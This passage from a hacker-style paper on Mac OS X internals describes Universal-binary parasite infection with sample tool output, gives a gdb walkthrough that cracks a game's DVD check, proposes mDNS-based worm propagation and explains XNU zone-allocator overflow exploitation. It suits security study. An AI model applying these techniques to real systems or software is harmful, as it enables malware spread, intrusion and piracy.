‑[nemo@fry:~]$ printf "\xca\xfe\xba\xbe\x66\x66\x66\x66" > file ‑[nemo@fry:~]$ otool ‑tv file

Segmentation fault

For each of the Mach‑O files in the Universal binary there

is also a fat_arch structure.

This structure is shown below:

struct fat_arch {

cpu_type_t cputype; /* cpu specifier (int) */

cpu_subtype_t cpusubtype; /* machine specifier (int) */

uint32_t offset; /* file offset to this object file */

uint32_t size; /* size of this object file */

uint32_t align; /* alignment as a power of 2 */

};

The fat_arch structure defines the architecture type of the Mach‑O file, as well as the offset into the Universal binary in which it is stored. It also contains the alignment of the architecture for the particular file, expressed as a power

of 2.

The diagram below describes the layout of a typical Universal binary:

[YOU SWITCH CAPITALIZATION OF UNIVERSAL QUITE OFTEN IN THIS SECTION]

._______________________________________

|0xcafebabe |

| struct fat_header |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fat_arch struct #1 |‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fat_arch struct #2 |‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fat_arch struct #n |‑‑‑‑‑‑+

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0xfeedface |

|

| Mach‑O File #1 | |

|

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0xfeedface |

|

| Mach‑O File #2 | |

|

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0xfeedface |

|

| Mach‑O file #n |

|

|

'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here you can see the file beginning with a fat_header structure. Following this are n * fat_arch structures

each defining the offset into the file to find the

particular Mach‑O file described by the structure.

Finally n * Mach‑O files are appended to the structs.

Before I run through the method for infecting Universal binaries I will first show how the kernel loads them.

The file: xnu/bsd/kern/kern_exec.c contains the code

shown in this section.

First the kernel sets up a NULL terminated array of

execsw structs. Each of these structures contain a

function pointer to an image activator / parser for

the different image types, as well as a relevant string description.

The definition and declaration of this array is shown

below:

/*

* Our image activator table; this is the table of the image types we are * capable of loading. We list them in order of preference to ensure the * fastest image load speed.

*

* XXX hardcoded, for now; should use linker sets

*/

struct execsw {

int (*ex_imgact)(struct image_params *);

const char *ex_name;

} execsw[] = {

{ exec_mach_imgact, "Mach‑o Binary" }, { exec_fat_imgact, "Fat Binary" },

#ifdef IMGPF_POWERPC

{ exec_powerpc32_imgact, "PowerPC binary" }, #endif /* IMGPF_POWERPC */

{ exec_shell_imgact, "Interpreter Script" }, { NULL, NULL}

};

The following code from the execve() system call loops

through each of the elements in this array and calls

the function pointer for each one. A pointer to the

start of the image is passed to it.

int

execve(struct proc *p, struct execve_args *uap, register_t *retval) {

...

for(i = 0; error == ‑1 && execsw[i].ex_imgact != NULL; i++) {

error = (*execsw[i].ex_imgact)(imgp);

Each of the functions parses the file to determine

if the file is of the appropriate architecture type.

The function which is responsible for matching and

parsing Universal binaries is the "exec_fat_imgact"

function.

The declaration of this function is below:

/*

* exec_fat_imgact

*

* Image activator for fat 1.0 binaries. If the binary is fat, then we * need to select an image from it internally, and make that the image * we are going to attempt to execute. At present, this consists of * reloading the first page for the image with a first page from the * offset location indicated by the fat header.

*

* Important: This image activator is byte order neutral.

*

* Note: If we find an encapsulated binary, we make no assertions * about its validity; instead, we leave that up to a rescan * for an activator to claim it, and, if it is claimed by one, * that activator is responsible for determining validity. */

static int

exec_fat_imgact(struct image_params *imgp)

The first thing this function does is test the

magic number at the top of the file. The following

code does this.

/* Make sure it's a fat binary */

if ((fat_header‑>magic != FAT_MAGIC) && (fat_header‑>magic != FAT_CIGAM)) { error = ‑1;

goto bad;

}

The fatfile_getarch_affinity() function is then

called to search the universal binary for a

Mach‑O file with the appropriate architecture

type for the system.

/* Look up our preferred architecture in the fat file. */

lret = fatfile_getarch_affinity(imgp‑>ip_vp,

vm_offset_t)fat_header,

fat_arch,

p‑>p_flag & P_AFFINITY));

This function is defined in the file:

xnu/bsd/kern/mach_fat.c.

load_return_t

fatfile_getarch_affinity(

struct vnode *vp, vm_offset_t data_ptr, struct fat_arch *archret,

int affinity)

This function searches each of the Mach‑O files within the Universal binary. A host has a primary and secondary architecture. If during this search, a Mach‑O file is found which matches the primary architecture type for the host, this file is

used. If, however, the primary architecture type is not

found, yet the secondary type is found, this will be used. This is useful when infecting this format.

Once an appropriate Mach‑O file has been located the imgp ip_arch_offset and ip_arch_size attributes are updated to reflect the new position in the file.

/* Success. Indicate we have identified an encapsulated binary */

error = ‑2;

imgp‑>ip_arch_offset = (user_size_t)fat_arch.offset; imgp‑>ip_arch_size = (user_size_t)fat_arch.size;

After this fatfile_getarch_affinity() simply returns and lets execve() continue walking the execsw[] struct array to find

an appropriate loader for the new file.

This logic means that it does not really matter if the

true architecture type of the file matches up with the architecture specified in the fat_header struct within

the Universal binary. Once a Mach‑O file is chosen it will

be treated as a fresh binary.

The method which I propose to infect Universal binaries utilizes this behavior. A breakdown of this method is

as follows:

1) Determine the primary and secondary architecture types for the host machine.

2) Parse the fat_header struct of the host binary.

3) Walk through the fat_arch structs and locate the

struct for the secondary architecture type.

4) Check that the size of the parasite is smaller than the secondary architecture Mach‑O file in the Universal binary. 5) Copy the parasite binary directly over the secondary arch binary inside the universal binary.

6) Locate the primary architecture's fat_arch structure.

7) Modify the architecture type field in this structure to be 0xdeadbeef.

Now when the binary is executed, the primary architecture

is not found. Due to this, the secondary architecture is

used. The imgp is set to point to the offset in the file containing our parasite, and this is executed as expected.

The parasite then opens it's own binary (which is quite possible on Mac OS X) and performs a linear search for 0xdeadbeef. It then modifies this value, changing it back

to the primary architecture type and execve()'s it's own file.

Some sample code has been provided with this paper that demonstrates this method on Intel architecture. The code unipara.c will copy an Intel architecture Mach‑O file

over the PowerPC Mach‑O file inside a Universal binary.

After infection has occurred the size of the host file

remains unchanged.

‑[nemo@fry:~/code/unipara]$ ./unipara host parasite ‑[nemo@fry:~/code/unipara]$ ./host

uid=501(nemo) gid=501(nemo)

‑[nemo@fry:~/code/unipara]$ wc ‑c host

43028 host

‑[nemo@fry:~/code/unipara]$ ./unipara parasite host

[+] Initiating infection process.

[+] Found: 2 arch structs.

[+] We are good to go, attaching parasite.

[+] parasite implanted at offset: 0x6000

[+] Switching arch types to execute our parasite. ‑[nemo@fry:~/code/unipara]$ wc ‑c host

43028 host

‑[nemo@fry:~/code/unipara]$ ./host

Hello, World!

uid=501(nemo) gid=501(nemo)

If residency is required after the payload has already been executed, the parasite can simply fork() before modifying

it's binary. The parent process can then execve() while the child waits and then returns the architecture type to 0xdeadbeef.

‑‑[ 8 ‑ Cracking Example ‑ Prey

Recently, during an extra long stopover in LAX airport (the most boring airport in the entire world) I decided I would pass the time by playing the game "Prey" which I had installed onto my laptop.

To my horror, when I tried to start up my game, I was greeted with the following error message:

"Please insert the disc "Prey" or press Quit."

"Veuillez inserer le disque "Prey" ou appuyer sur Quitter." "Bitte legen Sie "Prey" ins Laufwerk ein oder klicken Sie

auf Beenden."

Since I had nothing better to do, I decided to spend some

time removing this error message. First things first I determined the object format of the executable file.

‑[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ file Prey Prey: Mach‑O universal binary with 2 architectures

Prey (for architecture ppc): Mach‑O executable ppc

Prey (for architecture i386): Mach‑O executable i386

The Prey executable is a Universal binary containing a

PowerPC and an i386 Mach‑O binary.

Next I ran the otool ‑o command to determine if the code

was written in Objective‑C. The output from this command

shows that an Objective‑C segment is present in the file.

‑[nemo@largeprompt]$ otool ‑o Prey | head ‑n 5

Prey:

Objective‑C segment

Module 0x27ef458

version 6

size 16

I then used the "class‑dump" command [14] to dump the

class definitions from the file. Probably the most

interesting of which is shown below:

@interface DOOMController (Private)

‑ (void)quakeMain;

‑ (BOOL)checkRegCodes;

‑ (BOOL)checkOS;

‑ (BOOL)checkDVD;

@end

Most games on Mac OS X are 10 years behind their Windows counterparts when it comes to copy protection. Typically

the developers don't even strip the file and symbols are

still present. Because of this fact, I fired up gdb and

put a breakpoint on the main function.

(gdb) break main

Breakpoint 1 at 0x96b64

However when I executed the file the error message was displayed prior to my breakpoint in main being reached.

This lead me to the conclusion that a constructor

function was responsible for check.

To validate this theory I ran the command "otool ‑l" on

the binary to list the load commands present in the file.

(The Mach‑O Runtime Document [4] explains the load_command struct clearly).

Each section in the Mach‑O file has a "flags" value

associated with it. This describes the purpose of the

section. Possible values for this flags variable are

found in the file: /usr/include/mach‑o/loader.h.

The value which represents a constructor section is

defined as follows:

/* section with only function pointers for initialization*/

#define S_MOD_INIT_FUNC_POINTERS 0x9

Looking through the "otool ‑l" output there is only one section which has the flags value: 0x9. This section is

shown below:

Section

sectname __mod_init_func

segname __DATA

addr 0x00515cec

size 0x00000380

offset 5328108

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000009

reserved1 0

reserved2 0

Now that the virtual address of the constructor section

for this application was known, I simply fired up gdb

again and put breakpoints on each of the pointers

contained in this section.

(gdb) x/x 0x00515cec

0x515cec <_ZTI14idSIMD_Generic+12>: 0x028cc8db

(gdb)

0x515cf0 <_ZTI14idSIMD_Generic+16>: 0x00495852

(gdb)

0x515cf4 <_ZTI14idSIMD_Generic+20>: 0x0049587c

...

(gdb) break *0x028cc8db

Breakpoint 1 at 0x28cc8db

(gdb) break *0x00495852

Breakpoint 2 at 0x495852

(gdb) break *0x0049587c

Breakpoint 3 at 0x49587c

...

I then executed the program. As expected the first break point was hit before the error message box was displayed.

(gdb) r

Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey

Breakpoint 1, 0x028cc8db in dyld_stub_log10f ()

(gdb) continue

I then continued execution and the error message appeared. This happened before the second breakpoint was reached. This indicated that the first pointer in the __mod_init_func was responsible for the DVD checking process.

In order to validate my theory I restarted the process. This time I deleted all breakpoints except the first one.

(gdb) delete

Delete all breakpoints? (y or n) y

(gdb) break *0x028cc8db

Breakpoint 4 at 0x28cc8db

(gdb) r

Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey Reading symbols for shared libraries . done

Once the breakpoint is reached, I simply "return" from the constructor, without testing for the DVD.

Breakpoint 4, 0x028cc8db in dyld_stub_log10f ()

(gdb) ret

Make selected stack frame return now? (y or n) y

#0 0x8fe0fcc4 in _dyld__ZN16ImageLoaderMachO16doInitialization... () And then continue execution.

(gdb) c

The error message was gone and Prey started up as if the DVD was in the drive, SUCCESS! After playing the game for about 10 minutes and running through the same boring corridor over and over again I decided it was more fun to continue cracking the game than to actually play it. I exited the game and returned to my shell.

In order to modify the binary I used the HT Editor. [15] Before I could use HTE to modify this file however, I had to extract the appropriate architecture for my system from the Universal binary. I accomplished this using the ditto command as follows.

‑[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ ditto ‑arch i386 Prey Prey.i386 ‑[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ cp Prey Prey.backup ‑[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ cp Prey.i386 Prey

I then loaded the file in HTE. I pressed F6 to select the mode and chose the Mach‑O/header option. I then scrolled down to find the __mod_init_func section. This is shown as follows:

**** section 3 ****

section name __mod_init_func

segment name __DATA

virtual address 00515cec

virtual size 00000380

file offset 00514cec

alignment 00000002

relocation file offset 00000000 number of relocation entries 00000000

flags 00000009

reserved1 00000000

reserved2 00000000

In order to skip the first constructor I simply added four bytes to the virtual address field, and subtracted four

bytes from the size. I did this by pressing F4 in HTE and typing the values. Here is the new values:

**** section 3 ****

section name __mod_init_func

segment name __DATA

virtual address 00515cf0 <== += 4

virtual size 0000037c <== ‑= 4

file offset 00514cec

alignment 00000002

relocation file offset 00000000 number of relocation entries 00000000

flags 00000009

reserved1 00000000

reserved2 00000000

I then saved this new binary and executed it, again Prey started up fine without mentioning the missing DVD.

Finally I repeated this process for the PowerPC binary

and packed the two back together into a Universal binary

using the lipo command.

‑‑[ 9 ‑ Passive malware propagation with mDNS

As I'm sure all of you are aware, the only reason for the

lack of malware on Mac OS X is due to the lack of market

share (And therefore lack of people caring).

In this section I propose a way to remedy this. This method utilizes one of the default services which ships on Mac OS X 10.4 at the time of writing: mDNSResponder.

The mDNSResponder service is an implementation of the multicast DNS protocol. This protocol is documented

thoroughly by several of the documents linked from [17].

Also if you're interested in the protocol it makes sense

to read the RFC [18].

At a packet level the multicast DNS protocol is very similar to regular DNS. It also serves a similar (yet different) purpose: mDNS is used to create a way for hosts on a LAN

to automagically configure their network settings and begin communication without a DHCP server on the network. It is

also designed to allow the services on a network to be browsable.

Recently, mDNS implementations have been shipping for a large variety of operating systems, including Mac OS X, Vista, Linux and a variety of hardware devices such as printers. The mDNS implementation which is packaged with Mac OS X is called Bonjour.

Bonjour contains a useful API for registering and browsing services advertised by mDNS. The daemon mDNSResponder is responsible for all the network communication via a mach port named "com.apple.mDNSResponder" that is made available to the system for communication with the daemon. The documentation for the API which is used to manipulate this daemon is found at [19].

The command line tool /usr/bin/mdns also exists for manipulating the mDNSResponder daemon directly [20]. This tool has the following functionality:

‑[nemo@fry:~]$ mdns

mdns ‑E (Enumerate recommended registration domains) mdns ‑F (Enumerate recommended browsing domains) mdns ‑B <Type> <Domain> (Browse for services instances) mdns ‑L <Name> <Type> <Domain> (Look up a service instance) mdns ‑R <Name> <Type> <Domain> <Port> [<TXT>...] (Register a service) mdns ‑A (Test Adding/Updating/Deleting a record)

mdns ‑U (Test updating a TXT record)

mdns ‑N (Test adding a large NULL record)

mdns ‑T (Test creating a large TXT record) mdns ‑M (Test creating a registration with multiple TXT records) mdns ‑I (Test registering and then immediately updating TXT record)

Here is an example demonstrating using this tool to look for SSH instances:

‑[nemo@fry:~]$ mdns ‑B _ssh._tcp.

Browsing for _ssh._tcp.local

Talking to DNS SD Daemon at Mach port 3843

Timestamp A/R Flags Domain Service Type Instance Name 11:16:45.816 Add 1 local. _ssh._tcp. fry

As you can see, this functionality would be very useful for malware installed on a new host.

Once a worm has compromised a new host, it must then scan for new targets to attack. This scanning is one of the most common ways for a worm to be detected on a network. In the case of Mac OS X, where a large amount of scanning would be required to find a single target, this will more likely be the case.

We can use the Bonjour API to wait silently for a service to advertise itself to our code, then infect the target as necessary. This will greatly reduce the network traffic required for worm propogation.

The header file which contains the definition for the structs and functions needed is /usr/include/dns_sd.h. The functions needed are contained within libSystem and are therefor linked with almost every binary on the system. This is good news if you have just infected a new process and wish to perform the mDNS lookup from inside it's address space.

The Bonjour API allows us to register a service, enumerate domains as well as many other useful things. I will only

focus on browsing for an instance of a particular type of service in this paper, however. This is a relatively

straight forward process.

The first function needed to find an instance of a service is the DNSServiceBrowse() function (shown below).

DNSServiceErrorType DNSServiceBrowse (

DNSServiceRef *sdRef,

DNSServiceFlags flags,

uint32_t interfaceIndex,

const char *regtype,

const char *domain, /* may be NULL */

DNSServiceBrowseReply callBack,

void *context /* may be NULL */

);

The arguments to this are fairly straight forward. We simply pass an uninitialized DNSServiceRef pointer, followed by an unused flags argument. The interfaceIndex specifies the interface on which to perform the query. Setting this to 0 results on this query broadcasting on all interfaces. The regtype field is used to specify the type of service we wish to browse for. In our example we will search for ssh. So the string "_ssh._tcp" is used to specify ssh over tcp. Next the domain argument is used to specify the logical domain we wish to browse. If this argument is NULL, the default domains are used. Finally a callback must be supplied in order to indicate what to do once an instance is found. This function can include our infection/propagation code.

Once the call to DNSServiceBrowse() has been made, the function DNSServiceProcessResult() must be used to begin processing.

This function simply takes the sdRef, initialized from the first call to DNSServiceBrowse(), and calls the callback function when results are received. It will block until finding an instance.

Once a service is found, it must be resolved to an IP address and port so it can be infected.

To do this the DNSServiceResolve() function can be used.

This function is very similar to the DNSServiceBrowse() function, however a DNSServiceResolveReply() callback

is used. Also the name of the service must already be

known. The function prototype is as follows;

DNSServiceErrorType DNSServiceResolve (

DNSServiceRef *sdRef,

DNSServiceFlags flags,

uint32_t interfaceIndex,

const char *name,

const char *regtype,

const char *domain,

DNSServiceResolveReply callBack,

void *context /* may be NULL */

);

The callback for this function receives the following arguments:

DNSServiceResolveReply resolve_target(

DNSServiceRef sdRef,

DNSServiceFlags flags,

uint32_t interfaceIndex,

DNSServiceErrorType errorCode,

const char *fullname,

const char *hosttarget,

uint16_t port,

uint16_t txtLen,

const char *txtRecord,

void *context

);

Once again we must call the DNSServiceProcessResult() function, passing the sdRef received from DNSServiceResolve

to begin processing.

Once within the callback, the port which the service runs

on is passed in as a short in network byte order.

Retrieving the IP address is simply a case of calling gethostbyname() on the hosttarget argument.

I have included some code in the Appendix (discover.c)

which demonstrates this clearly. This code can sit in a

loop to enumerate each of the services and infect them.

Opensshd warez not included. ;‑)

‑‑[ 10 ‑ Kernel Zone Allocator exploitation

A zone allocator is a memory allocator which is designed

for efficient allocation of objects of identical size.

In this section I will look at how the mach zone allocator, (the zone allocator used by the XNU kernel) works. Then I

will look at how an overflow into the pages used by the zone allocator can be exploited.

The source for the mach zone allocator is located in the file xnu/osfmk/kern/zalloc.c.

Some of objects in the XNU kernel which use the mach zone allocator for allocation are; The task structs, the thread structs, the pipe structs and the zone structs themselves.

A list of the current zones on the system can be retrieved from userspace using the host_zone_info() function. Mac OS X ships with a tool which takes advantage of this:

/usr/bin/zprint

This tool displays each of the zones and their element size, current size, max size etc. Here is some sample output from running this program.

elem cur max cur max cur alloc alloc

zone name size size size #elts #elts inuse size count

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

zones 80 11K 12K 152 153 95 4K 51 vm.objects 136 3609K 3888K 27180 29274 21116 4K 30 C vm.object.hash.entries 20 374K 512K 19176 26214 17674 4K 204 C ...

tasks 432 59K 432K 141 1024 113 20K 47 C threads 868 329K 2172K 389 2562 295 56K 66 C ...

uthreads 296 114K 740K 396 2560 296 16K 55 C alarms 44 3K 4K 93 93 2 4K 93 C load_file_server 36 56K 492K 1605 13994 1605 4K 113 mbuf 256 0K 1024K 0 4096 0 4K 16 C socket 344 38K 1024K 114 3048 75 20K 59 C

It also gives you a chance to see some of the different types of objects which utilize the zone allocator.

Before I demonstrate how to exploit an overflow into these zones, we will first look at how the zone allocator functions.

When the kernel wishes to start allocating objects within a zone the zinit() function is first called. This function is used to allocate the zone which will contain each member of that specific object type. The information about the newly created zone needs a place to stay. The "struct zone" struct is used to accommodate this information. The definition of this struct is shown below.

struct zone {

int count; /* Number of elements used now */

vm_offset_t free_elements; decl_mutex_data(,lock) /* generic lock */

vm_size_t cur_size; /* current memory utilization */

vm_size_t max_size; /* how large can this zone grow */

vm_size_t elem_size; /* size of an element */

vm_size_t alloc_size; /* size used for more memory */

unsigned int

/* boolean_t */ exhaustible :1, /* (F) merely return if empty? */

/* boolean_t */ collectable :1, /* (F) garbage collect empty pages */

/* boolean_t */ expandable :1, /* (T) expand zone (with message)? */

/* boolean_t */ allows_foreign :1,/* (F) allow non‑zalloc space */

/* boolean_t */ doing_alloc :1, /* is zone expanding now? */

/* boolean_t */ waiting :1, /* is thread waiting for expansion? */

/* boolean_t */ async_pending :1, /* asynchronous allocation pending? */

/* boolean_t */ doing_gc :1; /* garbage collect in progress? */

struct zone * next_zone; /* Link for all‑zones list */

call_entry_data_t call_async_alloc;

/* callout for asynchronous alloc */

const char *zone_name; /* a name for the zone */

#if ZONE_DEBUG

queue_head_t active_zones; /* active elements */

#endif /* ZONE_DEBUG */

};

The first thing that the zinit() function does is check if there is an existing zone in which to store the new zone struct. The global pointer "zone_zone" is used for this. If the mach zone allocator has not yet been used, the zget_space() function is used to allocate more space for the zones zone (zone_zone).

The code which performs this check is as follows:

if (zone_zone == ZONE_NULL) {

if (zget_space(sizeof(struct zone), (vm_offset_t *)&z) != KERN_SUCCESS) return(ZONE_NULL);

} else

z = (zone_t) zalloc(zone_zone);

If the zone_zone exists, the zalloc() function is used to retrieve an element from the zone. Each of the attributes

of this new zone is then populated.

z‑>free_elements = 0;

z‑>cur_size = 0;

z‑>max_size = max;

z‑>elem_size = size;

z‑>alloc_size = alloc;

z‑>zone_name = name;

z‑>count = 0;

z‑>doing_alloc = FALSE;

z‑>doing_gc = FALSE;

z‑>exhaustible = FALSE;

z‑>collectable = TRUE;

z‑>allows_foreign = FALSE;

z‑>expandable = TRUE;

z‑>waiting = FALSE;

z‑>async_pending = FALSE;

As you can see, The free_elements linked list is

initialized to 0. The zone_init() function returns

a zone_t pointer which is used for each allocation

of new objects with zalloc(). Before returning

zinit() uses the zalloc_async() function to allocate

and free a single element in the zone.

Now that the zone is set up, the zalloc() and zfree() functions are used to allocate and free elements from

the zone. Also zget() is used to perform a non‑blocking allocation from the zone.

Firstly I will look at the zalloc() function. zalloc()

is basically a wrapper function around the

zalloc_canblock() function.

The first thing zalloc_canblock() does is attempt to

remove an element from the zone's free_elements list

and use it. The following macro (REMOVE_FROM_ZONE) is responsible for doing this.

#define REMOVE_FROM_ZONE(zone, ret, type) \

MACRO_BEGIN

(ret) = (type) (zone)‑>free_elements; \

if ((ret) != (type) 0) {

if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0])) { \ panic("A freed zone element has been modified.\n"); \

}

(zone)‑>count++;

(zone)‑>free_elements = *((vm_offset_t *)(ret)); \

}

MACRO_END

#else /* MACH_ASSERT */

As you can see, this macro simply returns the

free_elements pointer from the zone struct. It

also increments the count attribute and sets the

free_elements attribute of the zone struct to

the "next" free element. It does this by

dereferencing the current free elements address.

This shows that the first 4 bytes of an unused

allocation in a zone is used as a pointer to the

next free element. This will come in handy to us

later.

The check is_kernel_data_addr() is used to make

sure we haven't tampered with the list. The

definition of this check is shown below:

#define is_kernel_data_addr(a)

(!(a) || ((a) >= vm_min_kernel_address && !((a) & 0x3)))

const vm_offset_t vm_min_kernel_address = VM_MIN_KERNEL_ADDRESS; #define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)

As you can see this simply checks that the address is

not 0, it is greater or equal to 0x1000 (which isn't

a problem at all) and it's word aligned. This check does

not really cause any trouble when exploiting an overflow

as you'll see later.

If there are no free elements in the list the

doing_alloc attribute of the zone is checked.

This attribute is used as a lock. If a blocking

allocation is performed the allocator will sleep until

this is unset.

Once it is ok to allocate an element the kernel_memory_allocate() function is used to

allocate one. The allocation is of a fixed

size for the zone. The kernel_memory_allocate()

function is used at the base level of pretty

much all the memory allocators present in the

XNU kernel. It basically just uses

vm_page_alloc() to allocate pages. Once the

zone allocator successfully calls this function

zcram() is used to break the pages up into elements

and add them to the free_elements list. Each element

is added in the same way zfree() does so now that

I have looked at the allocation process I will take

show the workings of zfree().

The zfree() function is used to add an element back

to the zone free_elements list. The first thing zfree()

does is to make sure that an element is not being zfree()'ed which was never zalloc()'ed. This is done using the from_zone_map() macro. This macro is defined as follows.

#define from_zone_map(addr, size) \ ((vm_offset_t)(addr) >= zone_map_min_address && \ ((vm_offset_t)(addr) + size ‑1) < zone_map_max_address)

In the case of an overflow however, this check is not particularly important so I will move on.

Next the zfree() function (if zone debugging is enabled) will run through and check that the element did not come from

a different zone to the one which has been passed to zfree(). If this is the case a kernel panic() is thrown, alerting

on what the problem was.

Next zfree() runs through all the free_elements in the zones list and calls the pmap_kernel_va() function. The code which does this is as follows.

for (this = zone‑>free_elements;

this != 0;

this = * (vm_offset_t *) this)

if (!pmap_kernel_va(this) || this == elem) panic("zfree");

The pmap_kernel_va() check is shown below.

#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000) #define pmap_kernel_va(VA) \

(((VA) >= VM_MIN_KERNEL_ADDRESS) && ((VA) <= vm_last_addr))

The pmap_kernel_va check simply checks that the address

is greater than or equal to the VM_MIN_KERNEL_ADDRESS.

This address is defined (above) as 0x1000, the start of

the first page of valid kernel memory (straight after PAGEZERO). It then checks if the address is less than

or equal to the vm_last_addr. This is defined as VM_MAX_KERNEL_ADDRESS (shown below).

vm_last_addr = VM_MAX_KERNEL_ADDRESS; /* Set the highest address

#define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xFE7FFFFF) #define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xDFFFFFFF)

Basically this means that anywhere within almost the entire address space of the kernel is valid.

Once these checks are performed, the final step zfree() does is to use the ADD_TO_ZONE() macro in order to add the free'ed element back to the free_elements list in the zone struct.

Here is the macro used to do this:

#define ADD_TO_ZONE(zone, element) \

MACRO_BEGIN

if (zfree_clear)

{ unsigned int i; \

for (i=1;

i < zone‑>elem_size/sizeof(vm_offset_t) ‑ 1; \

i++)

((vm_offset_t *)(element))[i] = 0xdeadbeef; \

}

((vm_offset_t *)(element))[0] = (zone)‑>free_elements; \ (zone)‑>free_elements = (vm_offset_t) (element); \

(zone)‑>count‑‑;

MACRO_END

This macro runs through the memory allocated for the

element which is being free()'ed in 4 byte intervals.

It writes out 0xdeadbeef to each location, filling

the memory. and clearing any original data. It then

writes into the first 4 bytes of the allocation, the

old free_elements pointer, from the zone struct.

Now that I have shown briefly how the zone allocator

functions I will look at what happens in the case of an overflow.

In the diagram below you can see an element in use

followed by a free element. The first element

contains the data used by the struct (in this

sample case the struct is made up.)

The second element consists of the pointer to the

free element followed by the unsigned long

0xdeadbeef repeated to fill the struct. Both the

in use and free elements are the same size.

low memory (0x00000000)

‑‑‑‑( Element being overflowed )‑‑‑‑‑

00 00 00 01

22 22 22 22

33 33 33 33

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

‑‑‑‑‑‑‑‑‑‑‑( Free Element )‑‑‑‑‑‑‑‑‑‑

[ ff fc 7c 7d ]<== Pointer to next free element.

ef be ad de

ef be ad de

ef be ad de

ef be ad de

ef be ad de

ef be ad de

_____________________________________

high memory (0xffffffff)

In the case where a buffer within the first

in use struct is overflown, (in this case with

capital A [0x41]) it is then possible to overwrite

the free elements "next" pointer. This is

demonstrated below.

low memory (0x00000000)

‑‑‑‑( Element being overflowed )‑‑‑‑‑

00 00 00 01

22 22 22 22

33 33 33 33

41 41 41 41 <== Overflow starts here

41 41 41 41

41 41 41 41

41 41 41 41

‑‑‑‑‑‑‑‑‑‑‑( Free Element )‑‑‑‑‑‑‑‑‑‑

[ 41 41 41 41 ]<== Overflow into pointer.

ef be ad de

ef be ad de

ef be ad de

ef be ad de

ef be ad de

ef be ad de

_____________________________________

high memory (0xffffffff)

In this case, when the REMOVE_FROM_ZONE() macro

is used by zalloc() the user controlled address

0x41414141 will become the zone struct's new

free_elements pointer, and consequently, be

used by the next allocation of the element type.

If this address is positioned correctly it may be

possible to have something user controlled overwrite

a useful pointer in kernel space and in this way gain

control of execution.

Due to the checks performed on zfree() it is

recommended that efforts should be taken to avoid

this element being passed to zfree() however.

As this will result in a kernel panic().

‑‑[ 11 ‑ Conclusion

Hopefully if you bothered to read this far you learned something useful. If not, I apologize.

If you take any of these ideas and work on them further

or know of a better method to do anything covered in this paper I'd appreciate an email letting me know at: nemo@felinemenace.org. Flames to mercy@felinemenace.org

please ;)

Now for the thanks. A huge thankyou to my amazing fiancee pif for her love and support while i was writing this.

Thanks to bk for all the help and long conversations about XNU. Thanks to everyone at felinemenace for all the support, code and fun times. Also a big thank you to my computer for not kernel panic()'ing for a third time during the process of saving this paper. I think if you had written random bytes over the paper a third time I wouldn't have had the stamina

to rewrite (again).

Finally, this paper isn't complete without another bad Star Wars pun to match the title so here we go....

May the fork()'s be with root...

‑‑[ 12 ‑ References

[1] b‑r00t's Smashing the Mac for Fun & Profit http://www.milw0rm.com/papers/44

[2] Smashing The Kernel Stack For Fun And Profit http://www.phrack.org/archives/60/p60‑0x06.txt

[3] Linux on‑the‑fly kernel patching without LKM http://www.phrack.org/archives/58/p58‑0x07

[4] Mach‑O Runtime http://developer.apple.com/documentation/DeveloperTools/ ...

Conceptual/MachORuntime/MachORuntime.pdf

[5] Understanding windows shellcode http://www.hick.org/code/skape/papers/win32‑shellcode.pdf

[6] Smashing The Kernel Stack For Fun And Profit http://www.phrack.org/archives/60/p60‑0x06.txt

[7] Ilja's blackhat talk ‑ http://www.blackhat.com/presentations/bh‑europe‑05/ ...

BH_EU_05‑Klein_Sprundel.pdf

[8] Mac OS X PPC Shellcode Tricks http://www.uninformed.org/?v=1&a=1&t=txt

[9] Smashing the Stack for Fun and Profit ‑ http://www.phrack.org/archives/49/P49‑14

[10] Radical Environmentalists by Netric http://packetstormsecurity.org/groups/netric/envpaper.pdf

[11] Non eXecutable Stack Lovin on OSX86 http://www.digitalmunition.com/NonExecutableLovin.txt

[12] Mach‑O Infection http://felinemenace.org/~nemo/slides/mach‑o_infection.ppt

[13] Infecting Mach‑O Fies http://vx.netlux.org/lib/vrg01.html

[14] class‑dump http://www.codethecode.com/Projects/class‑dump/

[15] HTE ‑

http://hte.sourceforge.net

[16] Architecture Spanning Shellcode http://www.phrack.org/archives/57/p57‑0x17

[17] Multicast DNS ‑

http://www.multicastdns.org/

[18] mDNS RFChttp://files.dns‑sd.org/draft‑cheshire‑dnsext‑nbp.txt

[19] mDNS API ‑ http://developer.apple.com/documentation/Networking/

Conceptual/dns_discovery_api/index.html

[20] mdns command line utility http://developer.apple.com/documentation/Darwin/

